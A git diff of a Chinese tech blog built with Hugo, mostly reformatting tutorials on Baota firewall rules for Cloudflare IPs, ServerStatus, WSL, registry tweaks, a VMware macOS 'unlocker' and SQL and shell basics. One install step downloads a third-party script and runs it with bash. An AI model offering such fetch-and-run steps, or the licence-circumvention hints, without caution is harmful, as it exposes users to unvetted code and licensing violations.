受限于宝塔面板默认防火墙 Firewalld 的限制,要想宝塔面板下站点如何只限定 CDN IP 节点回源请求的话,最简便有效的办法就是将 CDN 的 IP 节点一个一个的加入到宝塔的【端口规则】里,需要限制哪个端口就在哪个端口下添加。
## 1. 修改所有IP为指定IP
## 1. 修改所有 IP 为指定 IP
我们选择的是443端口默认宝塔是开放443端口给所有IP的所以这里我们必须修改443端口规则为"指定IP",切记切记哦!
我们选择的是 443 端口,默认宝塔是开放 443 端口给所有 IP 的,所以这里我们必须修改 443 端口规则为"指定 IP",切记切记哦!
## 2. 添加CDN 节点IP地址段
## 2. 添加 CDN 节点 IP 地址段
给443添加了一个CloudFlare的IPv4节点IP地址段意思就是这个103.21.244.0/22地址段的IP都可以回源请求443端口。具体CloudFlare的节点IP可以到这里查看[www.cloudflare-cn.com/ips/](www.cloudflare-cn.com/ips/)
443 添加了一个 CloudFlare IPv4 节点 IP 地址段,意思就是这个 103.21.244.0/22 地址段的 IP 都可以回源请求 443 端口。具体 CloudFlare 的节点 IP 可以到这里查看:[www.cloudflare-cn.com/ips/](www.cloudflare-cn.com/ips/)
剩下的我们只需要一个一个的把CloudFlare的IPv4节点IP地址段这样添加即可如果是80端口也是同样的。有人会说这样很麻烦效率太低不科学那么我们可以使用宝塔的【导出规则】和【导入规则】来批量的添加具体步骤很简单我们可以制作一个导入CloudFlare的IP节点的.json具体内容如下参考
剩下的我们只需要一个一个的把 CloudFlare IPv4 节点 IP 地址段这样添加即可,如果是 80 端口也是同样的。有人会说这样很麻烦,效率太低不科学,那么我们可以使用宝塔的【导出规则】和【导入规则】来批量的添加,具体步骤很简单,我们可以制作一个导入 CloudFlare IP 节点的.json具体内容如下参考
```json
43|tcp|443|accept|131.0.72.0/22|131.0.72.0/22|2023-07-10 20:01:07||0|

View File

@ -56,10 +56,10 @@ theme: 主题名字 # 主题名字,和 themes 文件夹下的一致
1. 将 hugo 复制到站点文件夹
2. 打开 PowerShell 进入站点文件夹
3. 查看 Hugo 版本号
```powershell
./hugo version
```
```powershell
./hugo version
```
4. 设置 Hugo 版本号
@ -136,10 +136,10 @@ title: "{{ replace .Name "-" " " | title }}" # 标题
date: {{ .Date }} # 创建时间
lastmod: {{ .Date }} # 更新时间
author: ["Lsy"] # 作者
categories:
categories:
- 分类1
- 分类2
tags:
tags:
- 标签1
- 标签2
description: "" # 描述

View File

@ -6,10 +6,10 @@ tags: []
## 1. 环境准备
* [宝塔面板](https://www.bt.cn/new/index.html)
* PHP 7.4
* MySQL 5.7 / 8 或 MariaDB 10
* Apache HTTP Web Server 或 Nginx
- [宝塔面板](https://www.bt.cn/new/index.html)
- PHP 7.4
- MySQL 5.7 / 8 或 MariaDB 10
- Apache HTTP Web Server 或 Nginx
## 2. 下载

View File

@ -24,4 +24,4 @@ tags: []
?>
```
现在,你可以通过访问`http://your_website.com/api.php` 来使用这个随机图片API了。每次访问这个URL时它都会随机选择一个图片文件并重定向到该图片的URL。
现在,你可以通过访问`http://your_website.com/api.php` 来使用这个随机图片 API 了。每次访问这个 URL 时,它都会随机选择一个图片文件并重定向到该图片的 URL。

View File

@ -1,23 +1,23 @@
---
title: "服务器探针ServerStatus探针安装教程"
date: 2021-07-31T10:02:00+08:00
tags: [ "服务器探针" ]
tags: ["服务器探针"]
---
## 食用方式
PS以下使用方式二方式一直接运行傻瓜安装即可
### 脚本进行安装会要求安装Caddy与Nginx不能同时安装有能力的自行DIY
### 脚本进行安装(会要求安装 Caddy Nginx 不能同时安装,有能力的自行 DIY
```bash
wget https://raw.githubusercontent.com/CokeMine/ServerStatus-Hotaru/master/status.sh
bash status.sh
```
### 手动编译安装可搭配宝塔使用Nginx提供服务
### 手动编译安装,可搭配宝塔使用 Nginx 提供服务
#### 下载ServerStatus-USee
#### 下载 ServerStatus-USee
```bash
git clone https://gitee.com/useenet/serverTZ.git
@ -26,7 +26,7 @@ mv serverTZ /usr/serverTZ
## 安装服务端
### 使用宝塔创建一个空网页PS域名框使用域名或IP均可
### 使用宝塔创建一个空网页PS域名框使用域名或 IP 均可)
### 复制监控展示页到宝塔新建的网站目录中
@ -58,35 +58,35 @@ vim config.json
```json
{
"servers": [
{
"username": "username",
"password": "password",
"name": "vpsname",
"type": "type",
"host": "No",
"location": "China",
"disabled": false,
"region": "CN"
{
"username": "username",
"password": "password",
"name": "vpsname",
"type": "type",
"host": "No",
"location": "China",
"disabled": false,
"region": "CN"
},
{
"username": "连接用户名",
"password": "连接密码",
"name": "监控显示名称",
"type": "监控显示类型",
"host": "No",
"location": "国家",
"disabled": false,
"region": "国旗"
"username": "连接用户名",
"password": "连接密码",
"name": "监控显示名称",
"type": "监控显示类型",
"host": "No",
"location": "国家",
"disabled": false,
"region": "国旗"
}
]
}
```
### 在宝塔中打开serverTZ默认端口
### 在宝塔中打开 serverTZ 默认端口
> 35601
### 编辑完成后在server目下进行测试,webdir为web站点路径
### 编辑完成后,在 server 目下进行测试,webdir web 站点路径
```bash
./sergate --config=config.json --web-dir=/www/wwwroot/站点
@ -115,14 +115,12 @@ systemctl enable serverTZs.service
```
> #赋权
> #拷贝进系统服务目录
> #重新加载系统服务
> #启动服务端并设置开机自启
> #拷贝进系统服务目录 #重新加载系统服务 #启动服务端并设置开机自启
### 在配置文件中增加服务器主机后重启
```bash
systemctl restart serverTZs.service
systemctl restart serverTZs.service
```
## 安装客户端
@ -142,7 +140,7 @@ mv serverTZ /usr/serverTZ
cd /usr/serverTZ/clients
```
### 检查已安装的python版本,版本需要2.7及以上
### 检查已安装的 python 版本,版本需要 2.7 及以上
```python
python -V
@ -165,7 +163,7 @@ vim status-client.py
```python
SERVER = "127.0.0.1" #修改为服务端地址
PORT = 35601
PORT = 35601
USER = "USER" #客户端用户名
PASSWORD = "USER_PASSWORD" #客户端密码
INTERVAL = 1 #更新间隔
@ -193,13 +191,12 @@ cd /usr/serverTZ/systemd/
chmod +x serverTZc.service
cp serverTZc.service /lib/systemd/system
systemctl daemon-reload
systemctl start serverTZc.service
systemctl start serverTZc.service
systemctl enable serverTZc.service
```
> #赋权
> #拷贝进系统服务目录
> #重新加载系统服务
> #拷贝进系统服务目录 #重新加载系统服务
> #启动服务端并设置开机自启
在配置文件中增加服务器主机后重启

View File

@ -13,12 +13,13 @@ tags: []
### 出现黄色更新弹窗
1. 打开文件目录:
- Mac 修改文件目录:`/Applications/Adobe Photoshop (Beta)/Adobe Photoshop (Beta).app/Contents/Required/UXP/com.adobe.photoshop.inAppMessaging/js/0.js`
- Windows 目录(如果是 C 盘):`C:\Program Files\Adobe\Adobe Photoshop 2023\Required\UXP\com.adobe.photoshop.inAppMessaging\js\0.js`
- Mac 修改文件目录:`/Applications/Adobe Photoshop (Beta)/Adobe Photoshop (Beta).app/Contents/Required/UXP/com.adobe.photoshop.inAppMessaging/js/0.js`
- Windows 目录(如果是 C 盘):`C:\Program Files\Adobe\Adobe Photoshop 2023\Required\UXP\com.adobe.photoshop.inAppMessaging\js\0.js`
2. 修改 `0.js` 文件:
- 搜索 `"996633",`,结果有两处。找到第一处,在后面加上 `",display:none",`(别忘了英文逗号)。
- 保存文件,退出 Photoshop重启 Photoshop。提示框应消失。
- 搜索 `"996633",`,结果有两处。找到第一处,在后面加上 `",display:none",`(别忘了英文逗号)。
- 保存文件,退出 Photoshop重启 Photoshop。提示框应消失。
### Adobe Creative Cloud 丢失或损坏提示

View File

@ -10,5 +10,5 @@ tags: []
2. 找到时钟和区域
3. 选择区域
4. 打开管理
5. 选择非Unicode程序的语言
5. 选择非 Unicode 程序的语言
6. 更改系统区域设置为中国(需要提供管理员权限)

View File

@ -8,20 +8,20 @@ tags: []
1. 打开记事本或其他文本编辑器,将下面这段代码复制粘贴到文本编辑器中。
```batch
@echo off
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons" /v 29 /d "%systemroot%\system32\imageres.dll,197" /t reg_sz /f
taskkill /f /im explorer.exe
attrib -s -r -h %userprofile%\AppData\Local\IconCache.db
del %userprofile%\AppData\Local\IconCache.db
start explorer.exe
```
```batch
@echo off
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons" /v 29 /d "%systemroot%\system32\imageres.dll,197" /t reg_sz /f
taskkill /f /im explorer.exe
attrib -s -r -h %userprofile%\AppData\Local\IconCache.db
del %userprofile%\AppData\Local\IconCache.db
start explorer.exe
```
2. 将文本编辑器中的代码另存为.bat文件例如 remove_shortcut.bat保存在桌面上。
2. 将文本编辑器中的代码另存为.bat 文件,例如 remove_shortcut.bat保存在桌面上。
3. 点击双击打开保存在桌面上的 remove_shortcut.bat 文件,代码会自动执行,去除桌面图标上的快捷方式。
4. 如果您的Windows系统账户没有管理员权限请使用管理员权限运行 remove_shortcut.bat 文件。
4. 如果您的 Windows 系统账户没有管理员权限,请使用管理员权限运行 remove_shortcut.bat 文件。
5. 执行完毕后命令行窗口会闪一下随后资源管理器explorer.exe会立即自动重启。
@ -29,20 +29,20 @@ tags: []
1. 打开记事本或其他文本编辑器,将下面这段代码复制粘贴到文本编辑器中。
```batch
@echo off
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons" /v 29 /d "%systemroot%\system32\imageres.dll,197" /t reg_sz /f
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons" /v 77 /d "%systemroot%\system32\imageres.dll,197" /t reg_sz /f
taskkill /f /im explorer.exe
attrib -s -r -h %userprofile%\AppData\Local\IconCache.db
del %userprofile%\AppData\Local\IconCache.db
start explorer.exe
```
```batch
@echo off
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons" /v 29 /d "%systemroot%\system32\imageres.dll,197" /t reg_sz /f
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons" /v 77 /d "%systemroot%\system32\imageres.dll,197" /t reg_sz /f
taskkill /f /im explorer.exe
attrib -s -r -h %userprofile%\AppData\Local\IconCache.db
del %userprofile%\AppData\Local\IconCache.db
start explorer.exe
```
2. 将文本编辑器中的代码另存为.bat文件例如 remove_security.bat保存在桌面上。
2. 将文本编辑器中的代码另存为.bat 文件,例如 remove_security.bat保存在桌面上。
3. 点击双击打开保存在桌面上的 remove_security.bat 文件,代码会自动执行,去除桌面图标上的安全盾标志。
4. 如果您的Windows系统账户没有管理员权限请使用管理员权限运行 remove_security.bat 文件。
4. 如果您的 Windows 系统账户没有管理员权限,请使用管理员权限运行 remove_security.bat 文件。
5. 执行完毕后命令行窗口会闪一下随后资源管理器explorer.exe会立即自动重启。

View File

@ -36,9 +36,9 @@ tags: []
1. 以管理员身份打开 PowerShell"开始"菜单 >"PowerShell" >右键 >"以管理员身份运行")。
2. 使用以下命令安装下载的 WSA 包:
```bash
Add-AppxPackage "路径\下载的wsa.Msixbundle"
```
```bash
Add-AppxPackage "路径\下载的wsa.Msixbundle"
```
## Windows Subsystem for Linux (WSL)
@ -46,16 +46,16 @@ tags: []
1. 以管理员身份打开 PowerShell 并运行:
```bash
dism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart
```
```bash
dism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart
```
### 二、检查 WSL2 的要求
按 Win+R 打开运行,输入 `winver` 检查 Windows 版本要求:
* 对于 x64 系统:版本 1903 或更高,内部版本 18362.1049 或更高。
* 对于 ARM64 系统:版本 2004 或更高,内部版本 19041 或更高。
- 对于 x64 系统:版本 1903 或更高,内部版本 18362.1049 或更高。
- 对于 ARM64 系统:版本 2004 或更高,内部版本 19041 或更高。
### 三、启用虚拟机功能
@ -79,26 +79,26 @@ wsl --set-default-version 2
### 六、安装 Linux 分发版
1. 访问Microsoft Store下载想要安装的 Linux 分发版"
1. 访问 Microsoft Store下载想要安装的 Linux 分发版"
2. 切换到 root 用户登录(如需):
在 PowerShell 中运行
1. 获取linux名称
1. 获取 linux 名称
```bash
wsl --list
```
```bash
wsl --list
```
2. 切换root用户
2. 切换 root 用户
```bash
指定的Linux分发版 config --default-user root
```
```bash
指定的Linux分发版 config --default-user root
```
## 常见问题处理
* **关闭 WSL 自动挂载 Windows 分区**
- **关闭 WSL 自动挂载 Windows 分区**
编辑 WSL 配置文件 `/etc/wsl.conf` 并添加内容以禁用自动挂载和 Windows 路径的添加。
```bash
@ -111,19 +111,18 @@ wsl --set-default-version 2
enabled = false
```
* **解决无法定位 package screen 的问题**
- **解决无法定位 package screen 的问题**
在 Linux 分发版中运行 `apt-get update` 来更新软件包列表。
* **WSL 卸载**
- **WSL 卸载**
查看已安装的 WSL 环境并卸载指定的 Linux 分发版。
```bash
wsl --unregister 指定的Linux分发版
```
* **解决 WSLRegisterDistribution 错误**
- **解决 WSLRegisterDistribution 错误**
在 PowerShell 中运行
```bash
Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux
```

View File

@ -0,0 +1,69 @@
---
title: "vscode配置"
date: 2025-04-19T11:10:57+08:00
tags: []
---
## 自动补全,语法检查
| 语言 | 插件 |
| -------- | ---------------------------------------------------------------------------------------------------------- |
| rust | [rust-analyzer](https://marketplace.visualstudio.com/items?itemName=rust-lang.rust-analyzer) |
| tailwind | [Tailwind CSS IntelliSense](https://marketplace.visualstudio.com/items?itemName=bradlc.vscode-tailwindcss) |
| markdown | [markdownlint](https://marketplace.visualstudio.com/items?itemName=DavidAnson.vscode-markdownlint) |
| toml | [Even Better TOML](https://marketplace.visualstudio.com/items?itemName=tamasfe.even-better-toml) |
## 格式化
### 格式化插件
| 插件 | 格式化言语 |
| ------------------------------------------------------------------------------------------------ | ------------------- |
| [prettier](https://marketplace.visualstudio.com/items?itemName=esbenp.prettier-vscode) | js,md,css,html,yaml |
| [Black Formatter](https://marketplace.visualstudio.com/items?itemName=ms-python.black-formatter) | python |
| [shell-format](https://marketplace.visualstudio.com/items?itemName=foxundermoon.shell-format) | shell |
### 保存自动格式化
`settings.json`增加以下代码
```txt
"editor.formatOnSave": true // 保存时自动规范代码
```
## 其他
| 名称 | 作用 |
| ----------------------------------------------------------------------------------------------------------------------------- | ---------------------- |
| [Atom Material Icons](https://marketplace.visualstudio.com/items?itemName=AtomMaterial.a-file-icon-vscode) | 美化图标 |
| [Atom One Dark Theme](https://marketplace.visualstudio.com/items?itemName=akamud.vscode-theme-onedark) | 美化主题 |
| [Live Preview](https://marketplace.visualstudio.com/items?itemName=ms-vscode.live-server) | 提供在线预览web项目 |
| [Markdown Preview Github Styling](https://marketplace.visualstudio.com/items?itemName=bierner.markdown-preview-github-styles) | 提供markdown代码块样式 |
| [Chinese (Simplified)](https://marketplace.visualstudio.com/items?itemName=MS-CEINTL.vscode-language-pack-zh-hans) | 简体中文语言包 |
## 非html文件中启用tailwind高亮提示
### 安装高亮插件
- [Tailwind CSS IntelliSense](https://marketplace.visualstudio.com/items?itemName=bradlc.vscode-tailwindcss)
- [PostCSS Language Support](https://marketplace.visualstudio.com/items?itemName=csstools.postcss)
### 启动高亮配置
>以rust为例
修改`setting.json`文件
```json
// 配置识别的正则表达式
"tailwindCSS.experimental.classRegex": [
"class:\\s?\"(.*?)\"",
"class:\\s?format!\\((\"(.*?)\")\\)"
],
// 配置识别的语言
"tailwindCSS.includeLanguages": {
"rust": "html"
},
```

View File

@ -4,29 +4,29 @@ date: 2021-08-12T20:27:00+08:00
tags: []
---
## 1. 下载adb工具
## 1. 下载 adb 工具
(1) 打开Android开发网搜索"SDK Platform Tools",打开如下所示的[网站][1]可以看到有Windows\Mac\Linux三个版本的SDK Platform Tools点击符合你电脑的版本下载它。adb工具就包含在这个工具中。
(1) 打开 Android 开发网,搜索"SDK Platform Tools",打开如下所示的[网站][1],可以看到有 Windows\Mac\Linux 三个版本的 SDK Platform Tools点击符合你电脑的版本下载它。adb 工具就包含在这个工具中。
(2) 如果打不开Android开发网则需要魔法确保能访问Google之后再来下载和安装adb。
或者在一些第三方的网站上下载SDK Platform Tools。
(2) 如果打不开 Android 开发网,则需要魔法,确保能访问 Google 之后再来下载和安装 adb。
或者在一些第三方的网站上下载 SDK Platform Tools。
(3) 站长提供的[platform-tools_r31.0.3-windows][2]蓝奏云下载
## 2. adb安装和配置
## 2. adb 安装和配置
(1) SDK Platform Tools下载后在"platform-tools"路径下可以看到三个adb相关的文件。现在需要将这个路径添加到系统环境变量中。
(1) SDK Platform Tools 下载后,在"platform-tools"路径下可以看到三个 adb 相关的文件。现在需要将这个路径添加到系统环境变量中。
(2) 添加环境变量:
- windows10: 打开我的电脑——高级系统设置——系统属性——高级——环境变量——编辑Path将步骤3个文件所在路径添加到Path变量值中。最后点击"确定"。
- windows7: 右击我的电脑——属性——高级系统设置——高级——环境变量——编辑Path
- windows10: 打开我的电脑——高级系统设置——系统属性——高级——环境变量——编辑 Path将步骤 3 个文件所在路径添加到 Path 变量值中。最后点击"确定"。
- windows7: 右击我的电脑——属性——高级系统设置——高级——环境变量——编辑 Path
(3) 重新打开一个cmd窗口输入adb可以看到如下的窗口有显示adb的版本和用法这就说明adb正确安装好啦。
(3) 重新打开一个 cmd 窗口,输入 adb可以看到如下的窗口有显示 adb 的版本和用法,这就说明 adb 正确安装好啦。
## 3. 下载驱动
去谷歌中国开发者网站上下载oem usb驱动程序,并在设备管理器选择正确的驱动程序
去谷歌中国开发者网站上下载 oem usb 驱动程序,并在设备管理器选择正确的驱动程序
驱动程序:[https://developer.android.google.cn/studio/run/oem-usb?hl=zh-cn][3]
[1]: https://developer.android.google.cn/studio/releases/platform-tools?hl=en

View File

@ -4,29 +4,29 @@ date: 2023-12-15T20:53:00Z
tags: []
---
## 一、安装VMware Workstation Pro
## 一、安装 VMware Workstation Pro
官方下载链接: [VMware Workstation Pro](https://www.vmware.com/cn/products/workstation-pro/workstation-pro-evaluation.html)
激活教程: 百度
## 二、unlocker解锁VM以支持macOS系统
## 二、unlocker 解锁 VM 以支持 macOS 系统
下载链接: [Unlocker Releases](https://github.com/DrDonk/unlocker/releases)
1. 完全关闭VMware
1. 完全关闭 VMware
2. 下载完成后,解压压缩包,右键点击`windows/unlock.exe`,选择以管理员模式运行。
3. 提示`press enter key to continue`说明安装成功
## 三.下载 `macOS Recovery` 镜像
> macOS Recovery模式可以用来给mac 电脑恢复和重新安装操作系统,而虚拟机也可以通过此模式来安装 macOS
> 操作系统,所以我们需要下载一个 macOS Recovery 镜像来引导虚拟机进入macOS Recovery模式。
> macOS Recovery 模式可以用来给 mac 电脑恢复和重新安装操作系统,而虚拟机也可以通过此模式来安装 macOS
> 操作系统,所以我们需要下载一个 macOS Recovery 镜像来引导虚拟机进入 macOS Recovery 模式。
### 1. 下载python(如果有可以跳过)
### 1. 下载 python(如果有可以跳过)
Python官方下载地址[Python下载地址](https://www.python.org/downloads/)
Python 官方下载地址:[Python 下载地址](https://www.python.org/downloads/)
Microsoft下载地址: [Microsoft下载地址](https://apps.microsoft.com/search?query=pyhon&hl=zh-cn&gl=CN)
Microsoft 下载地址: [Microsoft 下载地址](https://apps.microsoft.com/search?query=pyhon&hl=zh-cn&gl=CN)
### 2. 下载 macOS Recovery 镜像
@ -44,24 +44,24 @@ curl -OL https://raw.githubusercontent.com/acidanthera/OpenCorePkg/master/Utilit
python3 macrecovery.py -b Mac-FFE5EF870D7BA81A -m 00000000000000000 download
```
> 下载完成后可以看到当前文件夹多出了一个com.apple.recovery.boot
> 下载完成后,可以看到当前文件夹多出了一个 com.apple.recovery.boot
>
> 文件夹打开之后有一个BaseSystem.dmg
> 文件夹,打开之后有一个 BaseSystem.dmg
>
> 文件这就是macOSRecovery镜像但是此镜像不能直接用来引导虚拟机需要转换一下格式才能用来引导虚拟机。
> 文件,这就是 macOSRecovery 镜像;但是此镜像不能直接用来引导虚拟机,需要转换一下格式才能用来引导虚拟机。
下载macOSRecovery镜像的教程来自[这里](https://dortania.github.io/OpenCore-Install-Guide/installer-guide/windows-install.html)
下载 macOSRecovery 镜像的教程来自[这里](https://dortania.github.io/OpenCore-Install-Guide/installer-guide/windows-install.html)
### 3. 转换 macOS Recovery 镜像
镜像需要用到 qemu-img 工具
下载链接: [QEMU下载链接](https://qemu.weilnetz.de/w64/)
下载链接: [QEMU 下载链接](https://qemu.weilnetz.de/w64/)
#### . 下载 qemu 之后,双击 qemu-w64-setup 程序进行安装
安装完毕后,和之前打开命令行的方法一样,打开cmd命令行进入`com.apple.recovery.boot`文件夹
安装完毕后,和之前打开命令行的方法一样,打开 cmd 命令行进入`com.apple.recovery.boot`文件夹
Ⅱ. 打开此路径后如果qemu-w64是默认安装就输入
Ⅱ. 打开此路径后,如果 qemu-w64 是默认安装就输入
```bash
c:\"Program Files"\qemu\qemu-img convert -O vmdk -o compat6 BaseSystem.dmg recovery.vmdk
@ -85,11 +85,11 @@ CPU配置处理器数量:1,内核数量:自定义
## 五.设置引导硬盘
点击虚拟机名字->编辑虚拟机设置->添加->硬盘->磁盘类型默认->使用现在已有虚拟磁盘 ->将选择第三步生成的recovery.vmdk->选择保持原有格式->然后保存
点击虚拟机名字->编辑虚拟机设置->添加->硬盘->磁盘类型默认->使用现在已有虚拟磁盘 ->将选择第三步生成的 recovery.vmdk->选择保持原有格式->然后保存
## 六.开始安装
### 1.打开VMWare虚拟机开启虚拟机电源虚拟机会自动进入引导界面
### 1.打开 VMWare 虚拟机,开启虚拟机电源,虚拟机会自动进入引导界面
### 2.选择语言
@ -102,9 +102,9 @@ CPU配置处理器数量:1,内核数量:自定义
## 七.安装完成之后
安装完成进入系统之后,需要安装 vmware-tools 工具,这样才可以调整窗口分辨率以及开启 HiDPI。右键点击 VMware 虚拟机管理界面的虚拟机选项即可看到 安装 vmware-tools 工具选项,点击后虚拟机内会弹出安装界面,按照提示一步步安装,然后重启即可。
安装完成进入系统之后,需要安装 vmware-tools 工具,这样才可以调整窗口分辨率以及开启 HiDPI。右键点击 VMware 虚拟机管理界面的虚拟机选项即可看到 安装 vmware-tools 工具选项,点击后虚拟机内会弹出安装界面,按照提示一步步安装,然后重启即可。
## vmware安装苹果虚拟机卡在苹果图标位置不动或者最新AMD客户机操作系统已禁用 CPU。请关闭或重置虚拟机
## vmware 安装苹果虚拟机卡在苹果图标位置不动或者最新 AMD 客户机操作系统已禁用 CPU。请关闭或重置虚拟机
修改虚拟机目录下`macOS 13.vmx`文件末尾加入

View File

@ -8,15 +8,15 @@ tags: []
1. 切换回经典右键菜单:
```powershell
reg add "HKCU\Software\Classes\CLSID\{86ca1aa0-34aa-4e8b-a509-50c905bae2a2}\InprocServer32" /f /ve
```
```powershell
reg add "HKCU\Software\Classes\CLSID\{86ca1aa0-34aa-4e8b-a509-50c905bae2a2}\InprocServer32" /f /ve
```
2. 恢复到新版右键菜单(不建议执行):
```powershell
reg delete "HKCU\Software\Classes\CLSID\{86ca1aa0-34aa-4e8b-a509-50c905bae2a2}" /f
```
```powershell
reg delete "HKCU\Software\Classes\CLSID\{86ca1aa0-34aa-4e8b-a509-50c905bae2a2}" /f
```
然后,按下 Win+E 打开 Windows 资源管理器,接着按下 Ctrl+Shift+Esc 打开任务管理器,找到并重启 Windows 资源管理器。

View File

@ -6,17 +6,17 @@ tags: []
## 问题描述
本人在安装Windows 10操作系统的过程中遭遇断电导致安装中断。再次进行安装一直报上面的错误。
本人在安装 Windows 10 操作系统的过程中遭遇断电,导致安装中断。再次进行安装一直报上面的错误。
已尝试网上盛传的方法使用Shift+F10打开命令行进入`Windows\system32\oobe\`,打开`msoobe`,但这些尝试都没有反应。
已尝试网上盛传的方法,使用 Shift+F10 打开命令行,进入`Windows\system32\oobe\`,打开`msoobe`,但这些尝试都没有反应。
## 解决方法
1. 按Shift+F10打开命令行窗口。
1. 按 Shift+F10 打开命令行窗口。
2. 输入`regedit`以打开注册表编辑器。
3. 在注册表编辑器中找到路径`HKEY_LOCAL_MACHINE/SYSTEM/SETUP/STATUS/ChildCompletion`。
4. 在`ChildCompletion`下找到名为`SETUP.EXE`的项,双击它。
5. 修改数值数据从1修改为3然后点击确定。
5. 修改数值数据从 1 修改为 3然后点击确定。
6. 关闭注册表编辑器。
7. 重新点击错误消息框的"确定"按钮。
8. 电脑将自动重启,重新解析安装包再次进入安装系统。

View File

@ -28,7 +28,7 @@ tags: []
&nbsp;&nbsp;国外的公交车不适合i人,我打算从布城从地铁到市中心需要先坐公交车到布城去差10秒就赶上了但是站台没人所以公交车司机没有停第二次在休息区等了半个小时司机又没停可能是司机没看到我吧第三次我站在公交车站台等车的位置等待可是他还是没停这次可能是没有给司机信号第四次等公交车快到的时候我死死的看着司机与他建立心灵链接但他还是不停浏览器查询原来要招手用打车软件看了一下两公里还是选择打车了
&nbsp;&nbsp;在去酒店的路上看到了很多流浪汉,不过感觉他们的穿搭和我没有区别,一个包+拖鞋,酒店的位置和平台给的地址不同还好遇到一个好心的印度男人,打电话和酒店交流,告诉我酒店在哪里
&nbsp;&nbsp;在去酒店的路上看到了很多流浪汉,不过感觉他们的穿搭和我没有区别,一个包+拖鞋,历经大雨来到谷歌地图显示的位置,却找不到酒店,找了一个印度男人问路,他也找不到,他给酒店客服打电话后,告诉我不在这个区域,给我指路,往哪走再往哪走到一个塔下快到了问问别人,我一点没记住好在用高德地图重新导航,竟然没问题。
&nbsp;&nbsp;晚餐找了家本地人多的店,点了一个大虾饭,没想到是正宗印度菜,`米饭味道=70%八角+20%洗衣服+10%辣椒`

View File

@ -12,13 +12,13 @@ tags: []
创建
````
````sql
create funcition 函数名(@参数 类型)
returns 类型
as
begin
条件
return 值
条件
return 值
end
````
@ -28,28 +28,28 @@ end
#### 方案一(处理复杂逻辑,函数体除了sql查询之外还有其他逻辑代码)
````
````sql
create function 函数名(@参数 类型)
returns @表名 table
(
数据结构
数据结构
)
as
begin
insert into @表名
条件
return
insert into @表名
条件
return
end
````
#### 方案二(只能return+sql查询结果)
````
````sql
create function 函数名(@参数 类型)
return table
as
return
条件
return
条件
go
````

View File

@ -35,5 +35,4 @@ select @变量名=值
### go
1.等待go语句之前的代码执行完之后才能执行后面的代码
2.批处理结束的一个标志
1.等待 go 语句之前的代码执行完之后才能执行后面的代码 2.批处理结束的一个标志

View File

@ -36,7 +36,7 @@ alter table 表名 add constraint 约束名 primary key(列名)
#### 唯一
alter table 表名 add constraint 约束名unique(列名)
alter table 表名 add constraint 约束名 unique(列名)
#### 默认值

View File

@ -3,6 +3,7 @@ title: 触发器
date: 2024-06-06T23:51:43Z
tags: []
---
## instead of(事前触发器)
## After(事后触发器)

View File

@ -4,12 +4,11 @@ date: 2024-06-06T23:51:36Z
tags: []
---
$n
> n代表数字,$1-$9代表第一到第九个参数,十以上需要用大括号把位置值包含类似 ${10}
> n 代表数字,$1-$9 代表第一到第九个参数,十以上需要用大括号把位置值包含类似 ${10}
$*
$\*
> 代表命令行中的所有参数(所有参数当作一个整体)

View File

@ -8,17 +8,17 @@ tags: []
## 系统变量
|变量|作用|
| ------| --------------------------------------|
|`$USER`|当前用户的用户名|
|`$HOME`|当前用户的家目录|
|`$PATH`|包含可执行文件的目录列表,用冒号分隔|
|`$PWD`|当前工作目录的路径|
|`$SHELL`|当前正在使用的 Shell 的路径|
|`$?`|表示上一个命令的退出状态|
|`$$`|表示当前Shell进程的PID进程ID|
|`$#`|表示传递给脚本的位置参数的数量|
|`$1, $2, ...`|用于访问传递给脚本的参数|
| 变量 | 作用 |
| --------------- | ------------------------------------ |
| `$USER` | 当前用户的用户名 |
| `$HOME` | 当前用户的家目录 |
| `$PATH` | 包含可执行文件的目录列表,用冒号分隔 |
| `$PWD` | 当前工作目录的路径 |
| `$SHELL` | 当前正在使用的 Shell 的路径 |
| `$?` | 表示上一个命令的退出状态 |
| `$$` | 表示当前 Shell 进程的 PID进程 ID |
| `$#` | 表示传递给脚本的位置参数的数量 |
| `$1, $2, ...` | 用于访问传递给脚本的参数 |
## 定义变量
@ -46,7 +46,7 @@ unset 变量
``=$()
例如
A=`ls -l`等于A=$(ls -l)
A=`ls -l`等于 A=$(ls -l)

View File

@ -4,72 +4,71 @@ date: 2024-06-06T23:51:45Z
tags: []
---
### 基本和高级条件表达式操作符
|符号|作用|
| ------| -------------------------------------------------------------------------|
|`{}`|代码块不创建新的子shell用于组织一系列的命令|
|`()`|创建一个子shell并在其中执行命令|
|`[[]]`|执行高级条件表达式,支持模式匹配、正则表达式等|
|`$`|用于变量引用、命令替换、算术运算等|
|`\|`|管道运算符,将一个命令的输出作为另一个命令的输入|
|`!`|逻辑非运算符,用于否定一个条件表达式的结果|
|`&&`|逻辑与运算符,如果左边的命令/条件表达式返回真(成功),则执行右边的命令|
|`\|\|`|逻辑或运算符,如果左边的命令/条件表达式返回假(失败),则执行右边的命令|
| 符号 | 作用 |
| -------- | ----------------------------------------------------------------------- |
| `{}` | 代码块,不创建新的子 shell用于组织一系列的命令 |
| `()` | 创建一个子 shell并在其中执行命令 |
| `[[]]` | 执行高级条件表达式,支持模式匹配、正则表达式等 |
| `$` | 用于变量引用、命令替换、算术运算等 |
| `\|` | 管道运算符,将一个命令的输出作为另一个命令的输入 |
| `!` | 逻辑非运算符,用于否定一个条件表达式的结果 |
| `&&` | 逻辑与运算符,如果左边的命令/条件表达式返回真(成功),则执行右边的命令 |
| `\|\|` | 逻辑或运算符,如果左边的命令/条件表达式返回假(失败),则执行右边的命令 |
### 特殊
|符号|作用|
| ------| ----------------------|
|`\|`|在正则中表示或|
|`!`|在引用中表示间距引用|
|`#`|在数组中表示长度|
| 符号 | 作用 |
| ------ | -------------------- |
| `\|` | 在正则中表示或 |
